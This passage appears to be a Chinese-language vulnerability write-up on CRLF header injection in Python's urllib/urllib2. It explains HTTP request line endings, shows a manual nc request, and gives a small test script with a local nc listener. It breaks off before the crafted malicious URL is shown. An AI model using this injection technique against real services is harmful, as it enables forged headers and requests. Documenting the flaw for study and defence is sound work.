0 概述
Python2.x 3.x 的urllib/urllib2从数据解析到发包的整个流程中,均未对URL提供安全性过滤或检查.导致换行符可被插入到HTTP数据流,使攻击者可以注入额外的HTTP头和请求方法.
本文将重点介绍:
- HTTP 请求头基础
- Python urllib/urllib2 核心代码逻辑
- 漏洞验证过程及代码分析
1 位置
Python 2.x urllib2.py - httplib.py
Python 3.x urllib.py - http/client.py
2 HTTP请求头&换行符
为什么注入换行符就可以修改HTTP的请求头呢.
抓个GET请求看下
图片中可以看到在HTTP报文是连续且可读的,每行以\r\n
结束,分别对应%0d
,%0a
.
2.1 使用nc敲一个请求
nc www.cdxy.me 80
然后输入以下两行:
GET HTTP/1.1
Host: www.cdxy.me
就可以看到服务器解析这个GET请求并返回的结果:
3 漏洞PoC
3.1 脚本
#!/usr/bin/env python3
# test.py
import sys
import urllib
import urllib.error
import urllib.request
url = sys.argv[1]
try:
info = urllib.request.urlopen(url).info()
print(info)
except urllib.error.URLError as e:
print(e)
3.2 正常的请求头
nc -l -v 127.0.0.1 -p 12345
监听本机12345端口
python3 test.py http://127.0.0.1:12345/index.html
发出请求
左边可以看到本机12345端口收到的请求头,也就是我们Python脚本发出的请求头.
3.3 注入换行符后
使用恶意构造的URL:
htt